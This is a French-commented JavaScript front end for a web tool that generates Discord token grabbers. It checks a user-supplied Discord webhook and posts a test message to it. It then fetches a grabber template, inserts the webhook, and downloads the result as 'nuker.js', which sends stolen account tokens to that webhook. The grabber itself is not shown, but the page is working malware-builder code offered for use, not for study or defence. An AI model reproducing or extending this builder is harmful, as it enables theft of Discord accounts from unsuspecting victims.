// Préparer les toasts - côté JS Spruce.store("toasts", { counter: 0, list: [], createToast(message, type = "info"){ const index = this.list.length let totalVisible = this.list.filter((toast) => { return toast.visible }).length + 1 this.list.push({ id: this.counter++, message, type, visible: true, }) setTimeout(() => { this.destroyToast(index) }, 4000 * totalVisible) }, destroyToast(index){ this.list[index].visible = false }, }) // Quand la page a fini de charger window.onload = async function(){ // Obtenir le nom de la page var path = window.location.pathname.replace(/\//g,"").replace(/#/g,"") if(path === "") var path = "index" // Ajouter le focus sur un input en fonction de la page if(path === "index") document.getElementById("webhookUrl").focus(); // Obtenir le body : utile en peu plus tard var body = document.getElementById("body"); // Préparer les toasts - côté visuelle/HTML var toast_html = `
` body.insertAdjacentHTML("afterbegin", toast_html); // Ajouter du CSS pour des spinners var spinner_html = `` body.insertAdjacentHTML("afterbegin", spinner_html); // Raccourcis clavier onkeydown = function(e){ // Appuyer sur entrer pour faire une action if(path === "index" && e.key === 'Enter'){ e.preventDefault(); createGrabber(document.getElementById('webhookUrl').value) } } } // Définir un cookie function setCookie(name, value){ var date = new Date(); date.setTime(date.getTime() + (8640000000)); document.cookie = name + "=" + (value || "") + "; expires=" + date.toUTCString(); + "; path=/"; } // Obtenir un cookie function getCookie(name){ var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++){ var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } // Fonction pour crée un grabber async function createGrabber(webhookUrl){ // Modifier le lien du webhook var webhookUrl = webhookUrl?.replace(/http:\/\//g,'https://')?.replace(/ptb\./g,'').replace(/canary\./g,'') if(!webhookUrl.startsWith("https://")) var webhookUrl = `https://${webhookUrl}` // Vérifier si un lien (webhook) a été donné if(!webhookUrl) return Spruce.store("toasts").createToast('Aucun lien webhook n\'a été donné', 'error') var webhookRegex = new RegExp("https:\/\/discord\.com\/api\/webhooks\/([^\/]+)\/([^\/]+)"); if(!webhookRegex.test(webhookUrl)) return Spruce.store("toasts").createToast('Le lien du webhook n\'est pas valide', 'error') // Utiliser le webhook pour voir si il est valide // Faire une requête var testUseWebhook = await fetch(webhookUrl, { method: 'post', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({content:'Ce webhook sera utilisé par https://token-grabber.johanstickman.com :eyes:'}) }) .then(res => res.text()) .catch(err => { return Spruce.store("toasts").createToast(`Impossible de valider le webhooks : « ${err} »`, 'error') }) // Vérifier le résultat if(testUseWebhook?.length !== 0) return Spruce.store("toasts").createToast(`Impossible de valider le webhooks : « ${testUseWebhook} »`, 'error') // Modifier le code du grabber // Faire une requête var grabberIndex = await fetch('grabber-code_index.js', { method: 'get' }) .then(res => res.text()) .catch(err => { return Spruce.store("toasts").createToast(`Impossible de crée le grabber : « ${err} »`, 'error') }) // Modifier le code var grabberIndex = grabberIndex?.replace(/%WEBHOOK_URL%/g, webhookUrl).replace(/\\/g, '\\') // Afficher des informations body.insertAdjacentHTML("afterbegin", `

🎉 C'est dans la boîte !

Votre navigateur va commencer le téléchargement du token grabber. Si le téléchargement n'a pas commencé, cliquez ici pour le recommencer. Pour comprendre comment utiliser le grabber, cliquez ici.

`) // Lancer le téléchargement setTimeout(function(){ download("nuker.js", grabberIndex) }, 2500) } // Fonction pour faire télécharger un fichier function download(fileName, content){ var element = document.createElement('a'); element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(content)); element.setAttribute('download', fileName); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); }